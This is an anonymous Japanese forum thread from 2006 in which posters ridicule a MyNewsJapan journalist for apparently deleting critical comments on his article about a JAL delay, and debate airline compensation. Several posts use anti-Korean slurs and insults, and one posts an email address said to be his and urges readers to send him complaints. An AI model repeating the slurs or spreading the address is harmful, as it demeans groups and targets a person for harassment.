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【反論は】MyNewsJapan代表が徹夜でコメント削除中【厳禁】

1 :beポイントくれ。:2006/09/07(木) 16:41:14 ID:LCwt3uNN0 ?BRZ(3055) ポイント特典
http://www.mynewsjapan.com/kobetsu.jsp?sn=456

日経新聞を懲戒処分された自称ジャーナリスト
渡邉正裕
が綴る市民参加型ニュースページ

7/19JALの対応を問題とし記事掲載

9/6livedoorに配信

配信と同時にクレーマーとの抗議が殺到

慌てた渡邉正裕は自分への批判コメントを徹夜で削除している模様

2 :ボケナス:2006/09/07(木) 16:41:59 ID:OLp4D2JR0 ?2BP(69)
      /|||||ll|||lll川l \
     /ll川川|||ll|||||||川リヘ
    k|川川Wリノリノノi川川
    .i|||||||ノill\リ'ソ ノ/ч||      >>1
    lll|川ノ ´【】`, '【】`, yll|       ファシスト右翼だったんですね。。
    .|l|( j ^  ̄  ゝ ̄^ {l |i
    i|l||人 u  n  "人ll||   ○^ヽ
   rщ《《 ゝ .、_ ./》》》/ヽ、(つUノノ
 γ| ヘヘ《《ーーー→》》》//  γ[~ー~]
  | .i. ヾ巛  ,,,  》/_/  ノ  ̄ ̄)

3 :もう我慢できない:2006/09/07(木) 16:43:37 ID:7VNF2At00
えらいサイトのレイアウト変わって軽くなったなぁ
と思ったら別物か

4 :カティーサーク:2006/09/07(木) 16:46:47 ID:qBCDyKyf0 ?2BP(500)
何で首になったの?

5 :beポイントくれ。:2006/09/07(木) 16:50:58 ID:LCwt3uNN0 ?BRZ(3055)
今コメント消された。
消されたコメントは以下の通り

んで15:45 09/07 2006
契約締結時に、補償について取り決めが無いまま契約を結んだにも拘らず、後出しじゃんけん的に、補償を求めるってのは良識ある人間のすることじゃないと思うけどね。

しかも、タクシー券貰っておきながら、JALを批判する姿勢、こんな記事しか書けない記事に金なんて払う価値あんの??なぁ。
俺は社会的責任投資をしたいんだよ。ジャーナリズムを何たるか分からない人に、金なんて払えないぞ。

ついでに 15:36 09/07 2006
本人が全部消したみたいだが、自分の書いた「記事」に責任をもてていないという事だよな?

都合の悪い書き込みは削除して、擁護する文章だけ残す。
真っ当な反論が出来ない。

お前、文屋として最低だよそれ。

だから。 15:33 09/07 2006
当初から、約款を基にした対応をしているに過ぎないわけで。
当初の対応も、約款にある
「不可抗力」により生じた事態には補償しない(約款通り)

遅延については取り決めが無いので補償しない
という、同一項の約款を元に対応しているのであり、約款を見せられ理解できないのはJALの責任ではなく、作者側であろうと。
それに噛み付きギャーギャー言うのはキチガイと思われるぞ。

6 :beポイントくれ。:2006/09/07(木) 16:52:04 ID:LCwt3uNN0 ?BRZ(3055)
あ 15:26 09/07 2006
擁護コメントだけ残して削除する、my news japan創業者の書いた記事を載せるメディアが、本当のことを報じられると思いますか?

ちなみに 15:22 09/07 2006
「残念」のコメントは自己矛盾しております。
もう少し日本語を学ばれてはいかがかと。

さようなら 15:20 09/07 2006
すごい、都合の悪いコメントは抹消なんですね。
これでは議論になりません。


7 :番組の途中ですが名無しです:2006/09/07(木) 16:53:18 ID:8D83qb3/0
>>5
消えてないじゃん

8 :番組の途中ですが名無しです:2006/09/07(木) 16:53:22 ID:EKXZBrXm0 ?BRZ(3003)
ちゃんと内容まとめてからスレ立ててよ

9 :仏像:2006/09/07(木) 16:53:53 ID:InMRMLLU0
はいはい市民参加型市民参加型

10 :DQN:2006/09/07(木) 16:54:45 ID:QR4E5NM+0
オマニューは毎日祭りで楽しいな

11 :beポイントくれ。:2006/09/07(木) 16:55:47 ID:LCwt3uNN0 ?BRZ(3055)
>>そこで我々は、日本市場向けに記事内容やビジネスモデルを抜本的に修正し、2004年春に資本金500万円でMyNewsJapanを開業した。すでに収益ベースに乗せ、上場を目指して成長を続けている。

http://www.ohmynews.co.jp/HotIssue.aspx?news_id=000000000121

カンチガイも甚だしいな。たった10人で株式上場ですか。

12 :美少女戦士:2006/09/07(木) 17:08:19 ID:qRLzZ0Pp0
削除したコメントを復旧させた様だな

13 :腹減った:2006/09/07(木) 17:08:23 ID:twIWxJpK0
およよ

14 :カティーサーク:2006/09/07(木) 17:15:06 ID:t662bRQG0
my news japan
oh my news japan
newsing japan

似たような名前ばっかり付けんあ

15 :工作員:2006/09/07(木) 17:17:38 ID:xgYwaFvF0
他の誰かがうpしただけだよきっと。

16 :工作員:2006/09/07(木) 17:22:42 ID:ZL1pF7DB0
ん?オーマイじゃないのか

17 :紫外線:2006/09/07(木) 17:24:15 ID:Mxi2aLdH0
>>14
自然と内容も似てくるから分かりやすいw

18 :腹減った:2006/09/07(木) 17:26:45 ID:twIWxJpK0
一応の流れ

記事を見て分かるとおり、飛行機が遅れた事に対し説明しろだの補償しろだの騒ぐ。
約款を持ち出され説明されるも理解不能→事を片付けたいJAL側は補償義務が無いにも拘らず善意でタクシーチケットを渡す。
善意が理解できない筆者は電話で抗議するも、やはり同一の約款で補償義務は無いとの結論に。
約款と善意の意味を理解出来ない筆者は、対応が担当者で違うとギャーギャー騒ぐ。

当初、コメント欄では賛否両論だった。

が、批判的なコメントが数多く投稿され、その中には記事の内容の正当性をことごとく論破するものも。

慌てた筆者はコメントを一斉削除。不自然な削除にならないようにか、一定時間内のコメントを全て削除。
コレがまずかった。渡辺を擁護しコメントを投稿していた渡辺擁護派にも飛び火。炎上。

そんな感じじゃなかったかな。

19 :紫外線:2006/09/07(木) 17:30:52 ID:Mxi2aLdH0
JALもタクチケなんかやらないで「訴えるならどうぞ」くらい言えばよかったのにな。
キチガイを甘やかしたら調子に乗るのは朝鮮人見てたら分かる事。

20 :ありえん!:2006/09/07(木) 17:40:16 ID:bTPkLYcc0
こっちが真面目に議論しているのに、片っ端から消しまくっている。怒り心頭。
はっきりいって、ジャーナリストのやる事じゃない!!

21 :番組の途中ですが名無しです:2006/09/07(木) 17:43:04 ID:A/RJN+7d0
参加型メディアは論客の実力の幅があり過ぎるからな・・・。
反論される機会が無いから反撃食うとアワくって逃げるしか出来ない。
実力の無い連中はカメラの前で愚民相手に高説を垂れてりゃいいのに・・・。

22 :ありえん!:2006/09/07(木) 17:43:28 ID:bTPkLYcc0
削除された奴、元コメント掲載求む!
ログ取ってる奴、削除コメントの転載求む!
何が、削除対象で、何がそうでないのか、徹底的に検証しようぜ。

23 :腹減った:2006/09/07(木) 17:46:29 ID:twIWxJpK0
付かれて痛いコメントが削除対象です。 w

夜中の時点のチョッとなら残ってるよ
http://megalodon.jp/?url=http://www.mynewsjapan.com/kobetsu.jsp%3fsn%3d456&date=20060907022631

24 :ありえん!:2006/09/07(木) 17:48:58 ID:bTPkLYcc0
>>21

ナベちゃんは単なる参加型の市民じゃないよ。プロのジャーナリストで MyNewsJapan の代表。

http://www.mynewsjapan.com/profile.jsp?sn=28


25 :腹減った:2006/09/07(木) 17:51:56 ID:twIWxJpK0
あら。間違えたかなぁ。俺のじゃ見れるんだけど。。。

http://megalodon.jp/?url=http://www.mynewsjapan.com/kobetsu.jsp%3fsn%3d456&date=20060907022631

これでどうだぁ。

26 :見ろ!人がゴミのようだ!:2006/09/07(木) 18:21:51 ID:twIWxJpK0
腹減ったっぽ

27 :見ろ!人がゴミのようだ!:2006/09/07(木) 18:24:34 ID:twIWxJpK0
また消されたにょ!

被害は以下の文
Re:解らない 16:59 09/07 2006
たぶん、ネタ作りでしょう。
記事から推測するに、渡邊さんは度々同様なことに出会っているようですから、
本当に式が大切なら、新幹線か、もっと余裕を持って行ったはずでしょう。
「遅延」と聞いて、「シメタ」と思ったのでは?
みなさーん 16:55 09/07 2006
いくら書いても無理無理。この方のサッカーW杯に関する記事にはアクセスが30,000以上あるのに
コメントは62しかありませんよ。現在はね
プロフィール見ても面白い日本語もありますよ。
解らない 16:52 09/07 2006
神戸の結婚式に出席する為に、関空を利用した理由は何故?
神戸空港か、新幹線利用するのが普通じゃないの?
何を言ってるの 16:49 09/07 2006
どんなサービスにも絶対的なものがある訳ないでしょう?信用できない、
不満なサービスなら受けなければよろしい。自力でお行きなさい。二時間寝れるとか、三時間待たされたとか。
自己主張の塊だね、君の記事は二度と目にしたくないものだ。安全に往復できてよかったじゃないですか。


28 :オートマ限定:2006/09/07(木) 18:27:03 ID:iJIDjlNo0
組織名に japan が入るとウサンクサイ〜wwwwwwwwwww

在日臭

29 :番組の途中ですが名無しです:2006/09/07(木) 18:33:53 ID:vYJSodlD0
ナベも糞かもしれんが、JALも糞だぞ
いい勝負なんじゃないのかな・・・

30 :ほら吹き:2006/09/07(木) 18:42:09 ID:+21I4cJJ0
火に油注いでるのが解らんのかなw

31 :見ろ!人がゴミのようだ!:2006/09/07(木) 18:42:58 ID:twIWxJpK0
約款に無い補償を要求するのは後出しじゃんけんだ。

朝鮮人みたいな奴だぽ。

32 :にしこり:2006/09/07(木) 18:44:11 ID:gtuevcDk0
「この渡辺って記者はクレームつけてるだけなんじゃないの?」

ってことを指摘すると消されます。

それから、消されることに抗議しても消されます。


さっき電話かけてみたけど、JALを批判できる対応じゃなかったぞw

33 :今北産業:2006/09/07(木) 18:44:49 ID:sr8iL1j70
関空から神戸へのリムジンバスは15分おきにある。
クレーム入れている間にバスに乗れば、間に合っている。
たいたい、忙しいから遅れた責任とれとかいう奴に限ってクレームつける暇だけはたっぷりある。

34 :見ろ!人がゴミのようだ!:2006/09/07(木) 18:46:17 ID:twIWxJpK0
>>33

それ、書き込んでwww

35 :番組の途中ですが名無しです:2006/09/07(木) 18:49:20 ID:vYJSodlD0
>>31
そーか?
「話し合い」するのは勝手だし、
それに対して「JALが自主的に補償」するのも勝手だぞ

約款てのは会社に有利なことだけつらつら書いてあって、
その上で「してあげられることはしてあげましょう」って交渉に入るんじゃないの?
ナベを批判するためにJALを持ち上げる気にはなれないな

今回の件の場合
1)結婚式に間に合わずタクシー使った →クーポンくれてもいいかな。でも基本は、もっと早い便で飛べよw
2)帰路便の遅延連絡が寝てる時    →ナベが寝てるだけの話だ。連絡くれるだけ親切
3)帰路便遅延に対してタクシークーポン →交渉の結果。
4)遅延したら運賃返せ →そりゃムリだろw

1番目は同情するがそれだけ。2と4番目はファビョってる。 3番目はそんなもん。

みんなが怒ってるのは「勝手にコメントを削除された」「生意気言うんじゃねーよボケ」ってことだろ?
その点は同感だが、だからといってあのJALを擁護する気にはなれないなー


36 :にしこり:2006/09/07(木) 18:51:54 ID:gtuevcDk0
コメント消されるのにも怒ってるんだけど、
記事の内容も\1890払って読むようなもんじゃないと思う。

37 :番組の途中ですが名無しです:2006/09/07(木) 18:53:45 ID:vYJSodlD0
>>36
漏れは無料範囲でしか読んでないw
金ねぇ・・・あれ無料ニュースじゃないの?(ぉぃ

38 :見ろ!人がゴミのようだ!:2006/09/07(木) 18:54:30 ID:twIWxJpK0
約款出されてダメぽって言われてんのにワーワー騒いでんだろ?

39 :にしこり:2006/09/07(木) 18:55:16 ID:gtuevcDk0
>>37
オレも金払ってねぇよ

40 :スカッド:2006/09/07(木) 18:57:51 ID:twIWxJpK0
メッセージ削除するような自称言論人に金なんか払えないよー

朝日新聞取らないのと一緒。

41 :番組の途中ですが名無しです:2006/09/07(木) 18:57:55 ID:vYJSodlD0
>>38
「約款に書いてない」ことと「書いてないからしない」ってのは別物で、
あくまで互いの話し合いの結果、「自主的に何かしてあげる」のは勝手
どのようにして「やってあげたい」と思わせられるか、ジャマイカ?
それでも納得行かなければ、裏から手を回すなり正面から裁判するなりすればいいわけで。
世の中、明文化されていないことの方が多い

で、この記者はどうかと思うが、コピペを何度も投稿するほどの話でもないと思うが。
こいつを批判することで間接的にでもJALを擁護することになるのがいただけないな。

42 :何か質問ある?:2006/09/07(木) 18:59:03 ID:H/cZEydzO
敵の敵は味方ってだけ

43 :人生オワタ\(^o^)/:2006/09/07(木) 19:00:51 ID:vYJSodlD0
>>42
敵の敵ねぇ・・そこまで熱くなる話じゃないキガス

むしろあの記者とJALを噛み合わせて大事になった方が面白いんじゃねーの?

44 :fushianasan:2006/09/07(木) 19:01:31 ID:ugO7v7920
反論されんのがいやならニュースとかやめてチラシの裏にでも書いとけや

45 :もう秋田:2006/09/07(木) 19:04:55 ID:twIWxJpK0
ガキが騒いでウルサイから飴玉でも舐めさせとけ

って対応でそ?

飴玉を出さなきゃいけないなんて契約にはなって無いけど、それで済むなら安いもんじゃ
ってのがJALの対応ではあるだろうけど。

で、飴玉貰っておきながら騒ぐ意味が分からん。
約款に無いけど飴玉出すってのはJALの勝手。要求するのも勝手。
でも、法的根拠云々言っておきながら、約款の意味が理解できずに、善意の意味も理解できないって所がバカらしい。


46 :人生オワタ\(^o^)/:2006/09/07(木) 19:05:10 ID:vYJSodlD0
>>44
同感だ

ついでに誰かまとめサイト立ち上げたら?
・いつどのようにして削除したか
・削除した発言内容の掲載

ニュースじゃなくて、ただの私的な鬱憤晴らしということが一般人にもよくわかると思うが。

47 :ググレカス:2006/09/07(木) 19:07:25 ID:B62ATyWW0
JAL工作員の方いらっしゃいますか?

48 :カティーサーク:2006/09/07(木) 19:07:50 ID:FY3wZ1yq0
JALだけじゃないが航空会社の対応は酷いと思う
だが、ナベを擁護する気にはならん><

49 :人生オワタ\(^o^)/:2006/09/07(木) 19:10:09 ID:vYJSodlD0
>>45
ナベが一番腹立ってるのは、 関空−神戸のタクシー代22000円だと思われw
どうやら飴玉の量が少ないらしい

>>48
同感だ。
ただその中でもJALは群を抜いて悪い
SKYみたくはっきり「対応しません」って明示してるなら納得だが。


50 :もう秋田:2006/09/07(木) 19:10:36 ID:twIWxJpK0
飛行機なんて、遅れるのが当たり前の乗り物だろ。

遅れるからってすっ飛ばしてもらった方が危なくて仕方がねぇ・・・

51 :大将:2006/09/07(木) 19:10:36 ID:C9RCJ9jp0
自称ジャーナリストって日常生活では及川みたいなノリが多いのか?
こいつも同じような匂いするし

52 :チラ裏:2006/09/07(木) 19:12:23 ID:xC07MrH/0
JALに限らず、クレーム処理はどこでも似たようなもんだろう。
損にならないようなことを約款に書いといて、
しつこいクレーマーは、まともに相手する方が経費がかかるから、
いくらか包んでとりあえずお引取り願うってのは、
べつに珍しいことじゃないだろう?

53 :司法浪人:2006/09/07(木) 19:12:24 ID:Im2DCGlr0
新幹線が特急料金を払い戻すのは
2時間以上遅れた時


54 :もう秋田:2006/09/07(木) 19:13:26 ID:twIWxJpK0
>>いくらか包んでとりあえずお引取り願うってのは、 べつに珍しいことじゃないだろう?

コレが全員に無いって所も気に食わないらしいよ。いくらか包んでもらっておきながら・・・

55 :事務総長:2006/09/07(木) 19:14:15 ID:Mxi2aLdH0
>>53
さすが司法浪人w

56 :自治厨:2006/09/07(木) 19:16:18 ID:gtuevcDk0
飛行機なんて、ちょっとした気象条件とか、管制とかでダイヤが狂うのは仕方ないだろ。
天気が悪くても、管制官に待てって言われても時間を優先するのか?

そんなことしてたら飛行機なんて怖くて乗れんわ

57 :人生オワタ\(^o^)/:2006/09/07(木) 19:20:23 ID:vYJSodlD0
>>54
要するに「遅延時の対応ガイドライン」を明示して一律対応すればいいわけだが、
今のやり方でうまくいってると思ってる航空会社はわざわざそんなことしないよな
明示したら客逃げるし(何かしらの対応があるんだと思っている人が多い)
その意味ではナベの言うことはわからなくもない

ただ、「せっかく寝てるのに電話してきやがって」みたいな話はいかがなものかと思うが。

>>56
エンロールの遅れは、前便がどうだったかなんてことは後便の客には関係ない

羽田や伊丹なら管制の遅れもわかるが、大概は乗客一人待ちとかそんなんだよ
むしろなんでもかんでも天候理由にして補償を避けようとする航空会社側の態度はいただけない。
ただでさえ整備のリストラと整備時間の短縮を進めてるから、落ちるときはあっさり落ちると思う。
安全に気を使う割にはボロM87とかフツーに飛ばしてるしな。

58 :ネット弁慶:2006/09/07(木) 19:21:09 ID:8hkqxBdv0
韓国人並みのマナーのなさ

59 :デイトレーダー:2006/09/07(木) 19:21:56 ID:7ED0bo5+0
MyNewsJapanってOhMyNewsと関係あるの? 社名が似すぎてるんですが・・・

企業の創立という点でみれば、韓国のOhMyNewsのほう先じゃないの?
だとすると渡邉チョンウ(正裕)さんの会社は、韓国の企業の社名パクリじゃないの?
不正競争防止法に抵触するんじゃないの?



60 :事務総長:2006/09/07(木) 19:23:21 ID:Mxi2aLdH0
京都の土産物屋で売ってるバッタもんみたいな名前だなとw

61 :チラ裏:2006/09/07(木) 19:25:08 ID:xC07MrH/0
タクシー代の出費に腹が立ったが、50分遅れ程度じゃ文句は言えない。
で、怒りを消化できてないところに電話で起こされ、これ幸いと爆発。
ところが思ったほど飴を貰えず、腹いせに記事を書く。

記事で自分の正当性を主張してるつもりなんだろうが、
実際は恥を晒してるだけだってことに
いまだに気付かない、かなりのあほと見た。

62 :人生オワタ\(^o^)/:2006/09/07(木) 19:25:11 ID:vYJSodlD0
コピペものがばっさり削除されましたな

喪前等もどーせやるなら縦読みとか正面論破とか
もっと高度なテク使えよw

63 :仕事屋:2006/09/07(木) 19:25:56 ID:uCsG60nG0
すげームカツク。

いま意見を投稿したら、一斉削除しやがった!!




64 :人生オワタ\(^o^)/:2006/09/07(木) 19:27:30 ID:vYJSodlD0
>>61
そのまま晒させとけってw
こういうヤシはがんがん踊らさせて使うに限る
要らなくなったら捨てればいいんだし
捨てる方法はいくらでもあるだろ?

65 :自治厨:2006/09/07(木) 19:29:42 ID:gtuevcDk0
全部渡辺代表が自分で削除してるっぽい。
ご苦労なこったな。

66 :番組の途中ですが名無しです:2006/09/07(木) 19:32:52 ID:uG5Mj+bz0
金払わないと記事にするぞっていうヤクザ記者の典型的なパターンだなw

67 :人生オワタ\(^o^)/:2006/09/07(木) 19:33:30 ID:vYJSodlD0
私的な「マイニュース」なんだから無料の範囲でまとめてほしいな。
ブログの女王でさえ無料なのに、なんでナベの鬱憤晴らしに1890円かかるのか不思議だ
何か勘違いしてないか

68 :番組の途中ですが名無しです:2006/09/07(木) 19:38:55 ID:Xs0fqNNE0
ていうか、小一時間飛行機遅れたからって補償してたらカネいくらあっても足りんだろうし、
それこそ無理矢理遅れないように飛ばしてたら事故起きるぞ。
現状でさえ整備不良で飛んでる飛行機多そうだが、確実に増える。
普通はもっと時間に余裕持って使うもんだが、記者様は多忙らしいなw
まあ、行きも帰りも遅れるってのは不運だが、こいつは
忙しい俺を煩わせやがって〜って横柄さがバレバレなので全く同情に値しない。

69 :おすすめ:2006/09/07(木) 19:44:52 ID:ifyk+8w10
こんなすごいクレーマーはアッキー以来だなw

70 :人生オワタ\(^o^)/:2006/09/07(木) 19:47:31 ID:vYJSodlD0
>>68
ナベが同情に値しないのは同意
あいつには「神戸便取れよ」「大事なら前泊するなり余裕もてよ」
「昼間の電話で切れるなよ」といいたい(言ったら消されるなw)

ナベのような奴のために「遅延ガイドライン」と補償有無、あるなら補償内容を
詳細に定めて明示したらいいんじゃないの?
フレックストラベラー制度なんか好例で、今まではっきりしなかった話が明示された。

あと、スケジュールが過密するぎるんじゃないの? 今みたいに着陸→次の離陸まで
40分や50分しかないから、どんどん後にずれてく。減便するか飛行機を増やしてもっと
余裕を持たせることも大切じゃない?

まずは航空会社がやることやって「それなら仕方ないね」っていうところまで努力しないと。
現状では利益優先過密ダイヤの挙句に原油のヘッジも満足にできてないボケ共の集まりだから、
ナベに噛み付かれる航空会社にも同情できないな

>>69
その後もボーダフォンハッピーコール廃止事件とか色々ありやすぜw
今回のは大した話じゃないのではと。

71 :にしこり:2006/09/07(木) 19:55:23 ID:sr8iL1j70
本人のメルアドです。意見はこちらへもどうぞ
donquixote@mth.biglobe.ne.jp


72 :もう秋田:2006/09/07(木) 19:56:09 ID:twIWxJpK0
だから、補償しないんだって約款でなってんじゃん。

読んでネーよシラネーよなんて、契約において通用しないでしょ。

「不可抗力」により生じさせた事態には補償しない(約款通り)



73 :番組の途中ですが名無しです:2006/09/07(木) 19:56:35 ID:1u4bbrxG0
なんか人として悲しいなこういうの見ると

74 :感動した!!:2006/09/07(木) 20:02:08 ID:twIWxJpK0
今回被害にあった文章

あ 18:39 09/07 2006
ごく一部の擁護コメント除いてすべて削除するmy news japan。
こんな記事を書く創業者のつくったメディアが、本当のことを報じられると思いますか?
で、結局 18:39 09/07 2006
タクシークーポン受け取っちゃったんでしょ?
こんな記事にするなら、まずかったですね。
補償の公平性を問題にしてるのに、結局自分だけ貰ってる。
これじゃ単なるクレーマーで、記事の説得力もまるで無し。
削除された多くのコメントが物語ってますよね。
こらこら 18:25 09/07 2006
都合の悪い文章を消すんじゃない。

全ログとってるから、そのうち復活させるよ。
お金目当ての 18:24 09/07 2006
この品格の低さにあたまにきます。
また都合の悪い記事は 18:23 09/07 2006
消すんだね。
渡邊ー 18:22 09/07 2006
わかったか!これがお前さんのしたことへ対する善良な市民の評価だよ。物書きとして最低だよ。


75 :紫電改:2006/09/07(木) 20:04:15 ID:vYJSodlD0
>>72
原則と現実の運用は異なる
杓子定規の厨房みたいなこと言うなよ

それと、この場合の「不可抗力」の定義と例示をしてくれ

ナベ憎しで視野を狭くしなくてもいいんジャマイカ?

76 :感動した!!:2006/09/07(木) 20:09:03 ID:twIWxJpK0
>>75
いあいあ、不可抗力って記事で言われて無いか??
悪天候、不可抗力はーって約款に書いてあるよな?

で、ナベは補償云々の法的根拠を求めてるわけだ。だから約款出されるのは当然の話じゃないか?

77 :感動した!!:2006/09/07(木) 20:14:48 ID:twIWxJpK0
後出しじゃんけんで勝たせてもらえなかったからって騒いでるガキと一緒だろやってる事は。

78 :B級アイドル:2006/09/07(木) 20:17:25 ID:gtuevcDk0
>>77
後出しじゃんけんで負けたガキは補償までは要求しねーよ。
ガキのまんまの大人ってのはタチが悪いな。

79 :紫電改:2006/09/07(木) 20:18:29 ID:vYJSodlD0
>>76
無料範囲でしか見てないからその範囲で話すが、
ご意見ダイヤルでは約款には記載されておらず、どんな場合でも
原則的に補償しない。あくまで「サービス上の観点から」要は親が
子に恵むようにやってやってるということになっている。

だが現実には補償事例がたくさんあるわけで、結局はグレーゾーン
と記事からは理解した。

だから、「約款に書いてある」というなら「不可抗力」ってのは
何を表すのか、どんな場合なら不可抗力なのか、どこまでが
そうなのかってことよ。これがJAL側から明示されないなら、
結局何とでも解釈できるということだし、JALもそのように運用している

要するに一般人は放置。嫌なら裁判汁!と言って泣き寝入り待ち。
VIPにはCF券を配ったりお詫びを配ったりして平身低頭 と、
「柔軟に運用」してるキガス

まぁ、ナベに粘着してそんな企業の肩を持つことはないんジャマイカ?
というのが漏れの意見だ。

ちなみにアイツが求めているのは約款じゃなくて22000円だと思うw

>>77
面白いから泳がせておけって
万が一大事になれば何らかの補償規定を明示せざるを得なくなる
んなことは万が一以下だろーが・・

80 :B級アイドル:2006/09/07(木) 20:27:32 ID:gtuevcDk0
JALは遅延については補償しない。

でも、現場の判断で、善意でタクシーチケットとかを渡してる。
あくまで善意で。
この記事の場合は、善意とクレーマー対策。

全員に補償してたらJALもANAも潰れるだろ。

81 :感動した!!:2006/09/07(木) 20:29:02 ID:twIWxJpK0
だから、普通はソコまで補償求めないよな?
遅れる事は通常考慮して飛行機乗るわ。
にも拘らず、遅れたじゃネーかよ!どうしてくれるんだ!!と恐喝に出たわけっしょ。

一般人は、遅れる事は当然ありえると頭を働かせて行程組むから、一々補償求めたりしないわ。
そして、一々遅延で補償してたら料金に跳ね返ってくる事も分かってる。
だから遅延に関して補償規定があろうが無かろうが、通常の善良な人間には関係しない。
むしろ、グレーであった方が低料金でサービスを提供してもらえるからウマー。

ナベは、補償してくれの何だの言って、タクシー券交付させたわけだ。
コレは完全に、JALの善意だよな。その善意が理解できずにギャーギャー騒いでいると。

柔軟な運用(善意)は全くおかしいとは思わんし、どのような会社だってやってる。
そうした、大人の社会を理解できないんだろ?

別にJALの肩を持ってるわけじゃないぞ俺は。
むしろ、ANA株持ってるからJALなんかどうでもいい。


82 :紫電改:2006/09/07(木) 20:31:42 ID:vYJSodlD0
>>80
関空でタクシーチケットくれてやればこんなことにはならなかったのになw

あと、補償を抜きにしてもJALはあぶないんじゃねーの?ww

83 :感動した!!:2006/09/07(木) 20:34:20 ID:twIWxJpK0
つーか、どうしてもJAL批判に持って行きたいみたいだな。

まぁいいや。JALが悪かろうが、このスレのお題は
ナベが徹夜でコメント削除に終始する
だから。

84 :今北産業2:2006/09/07(木) 20:34:36 ID:KNk0XNtu0
>>33 の言うように、神戸へのバスは頻発。
http://www.kate.co.jp/pc/time_table/time.html
15分間隔のバスに乗れないというのは謎。

JRの関空快速・はるかと新快速の乗り継ぎも可能。

補償はタクシークーポンだけというのは間違い。
14時30分まで寝てその後チェックアウトしてるわけだから、
その分の費用はJALが補填されていることになる。
正規料金で数千円〜1万円くらいか。
掃除しなやならないので、その夜は、ホテルのその客室は使えない。
もし、満室ならば、1室分の金銭的ダメージを与えてる。

系列ホテルだから、レイトチェック出来るはずというのおかしい。
ホテルも航空会社も、独立採算のはずだし、
それ以前に、系列だろうとなんだろうと、
その夜のホテルが予約で満室だったらどうするつもりだろう。

飛行機が45分遅れるんだかからと、ホテルの部屋に閉じこもって、
次の日の予約客が泊まれなくなった人がいたとしても、微々たる問題というのか



85 :紫電改:2006/09/07(木) 20:42:43 ID:vYJSodlD0
>>81
ナベがどーかしてる、には同意だその上で、

>一般人は、遅れる事は当然ありえると頭を働かせて行程組むから、一々補償求めたりしない
そーか?遅れる度に空港で色々見かけるが・・
一目でわかる天候理由ならともかく、エンロールだとか無連絡での遅延だと「一般人」は納得できてないようだぞ
特に大阪の方は・・。

>一々遅延で補償してたら料金に跳ね返ってくる事も分かってる
だから、線引きを明示すればいいんじゃねの?
嫌なら新幹線乗れよ、って。

>むしろ、グレーであった方が低料金でサービスを提供してもらえるからウマー。
んなこたない。
今よりウマウマだったJAL/ANA時代、低料金だったか?
規制だらけの航空事業にそんな概念はない いつでも高料金

>別にJALの肩を持ってるわけじゃないぞ
じゃあほっといてやれよ
このままゴタゴタ続いたほうが相対的にANAと差がついていいんジャマイカ?
俺としてはこのゴタゴタが面白いからいきつくところまで見てたいw

>>84
バスの件は同意だが、間に合わなかったんじゃねーの?
遅刻厳禁結婚式とか。まぁそこまでJALが補償する義理はないと思うが。

H関空はCAのステイ先になってるから、遅延分はそれとバーターだろ
電話で一言「遅延のためレイトチェックアウトお願いします」で御仕舞い
H関空はいつも空いているが、その日だけ満室だったのかなー。ちょい疑問。

86 :因果応報:2006/09/07(木) 20:44:02 ID:II0YhnFT0
またMNJか。こころは色々寝たを提供してくれるね。

87 :感動した!!:2006/09/07(木) 20:47:38 ID:twIWxJpK0
要するに、会社の善意が気に入らないと。

88 :だまれニート:2006/09/07(木) 20:50:42 ID:LeSqx7nc0
タクシークーポン貰っておきながら、JALの配慮に噛み付くって凄い理論だよなおい。

89 :紫電改:2006/09/07(木) 20:53:13 ID:vYJSodlD0
>>81
見舞金じゃあるまいし、航空会社と顧客それぞれ当事者だろ?
「善意」のフリした実質的な補償で、善意という形にしてるのは責任
は認めてないということだろ。
一瞬にしても命を預けるのに、そんな危ない会社とは付き合えねーよ。
御巣鷹の時も遺族から補償金を随分値切ったらしーしな

補償するならケースと金額、算定式を予め明示
補償しないなら一切しない

でいいんジャマイカ?
グレーゾーンだから甘い期待を抱かせてDQN記者に突っ込まれる余地を与え、
結局ゴネ得を許してるんだろ

こんな状態の方が運賃安くなるのか?w

>>88
だから、ヤツが本当に欲しかったのは22000円だってw

90 :今北産業2:2006/09/07(木) 20:54:43 ID:KNk0XNtu0
>>85

憶測だけど、バスだと、間に合わなかったのかも。
タクシーで制限速度オーバーの運転させて、ギリギリセーフではないかと。
阪神高速の湾岸線を120キロくらいでぶっ飛ばせば、メータの回転も速いと思う。

遅刻厳禁結婚式というか、結婚式の交通費とか宿泊費は、新郎新婦が持つ場合が多々ある。
地域によって風習が違うから、なんともいえないが。
結婚式終わってから会場に着いたら、新郎新婦はカネを払う気なんてしないだろう。
交通費+宿泊代を巡っての、新郎新婦とのトラブルを考えたら、タクシー代払った方が安いんじゃないか。


91 :マルチポスト:2006/09/07(木) 20:56:16 ID:pVSHs5b00
このサイトに逝くのは基地外ジャムおじさんの一件以来だな

あれもヤマト運輸に対する理不尽なクレームだった記憶があるが。

92 :だまれニート:2006/09/07(木) 20:56:45 ID:LeSqx7nc0
>>見舞金じゃあるまいし、航空会社と顧客それぞれ当事者だろ?
>>「善意」のフリした実質的な補償で、善意という形にしてるのは責任は認めてないということだろ。
>>一瞬にしても命を預けるのに、そんな危ない会社とは付き合えねーよ。

お前、論理がメチャクチャじゃね?
結局言いたいのは

アンチJAL

でOK?



93 :ガダルカナル:2006/09/07(木) 21:00:53 ID:vYJSodlD0
>>90
まぁ払ってはくれると思うけどな>旅費
結局、彼なりに義理>22000円な訳で、15分おきにリムジンあるのに乗らなかったの
は彼の選択であって、JALにどうこういうのはお門違いだよな

あともう一つ疑問なんだが、ホテルの話。
普通チェックアウトは11時。で、当初の出発時間は14:40ってことはふつーに3時間
ばかしは空いてしまう訳で、レイトチェックアウトさせたのはゴネ得じゃないかと思う。
これが、14時までレイトチェックアウト料金を別途払ってるなら話は別だが、この辺り
は本人じゃないとわからねーけどな。

>>92
喪前のいいたいことは何?
まずはそれからだ

94 :なにこれ?:2006/09/07(木) 21:03:00 ID:LeSqx7nc0
お前がアンチJALでJALには今後乗らないであろうって事。

95 :ガダルカナル:2006/09/07(木) 21:04:01 ID:vYJSodlD0
>>94
お前はどうなのよ
俺に絡むのが目的か?

96 :なにこれ?:2006/09/07(木) 21:06:21 ID:LeSqx7nc0
なんかよく分かんないけど、アンチJALの鬱憤を晴らしたいだけのように思える。


97 :ガダルカナル:2006/09/07(木) 21:07:27 ID:vYJSodlD0
>>96
俺に絡むID:LeSqx7nc0は、普段の悲惨な生活の鬱憤を晴らしたいだけだろw
さみしいヤツだな

98 :なにこれ?:2006/09/07(木) 21:09:36 ID:LeSqx7nc0
だってお前、俺はJAL使わないぞ!的な意見しか言って無いじゃんw

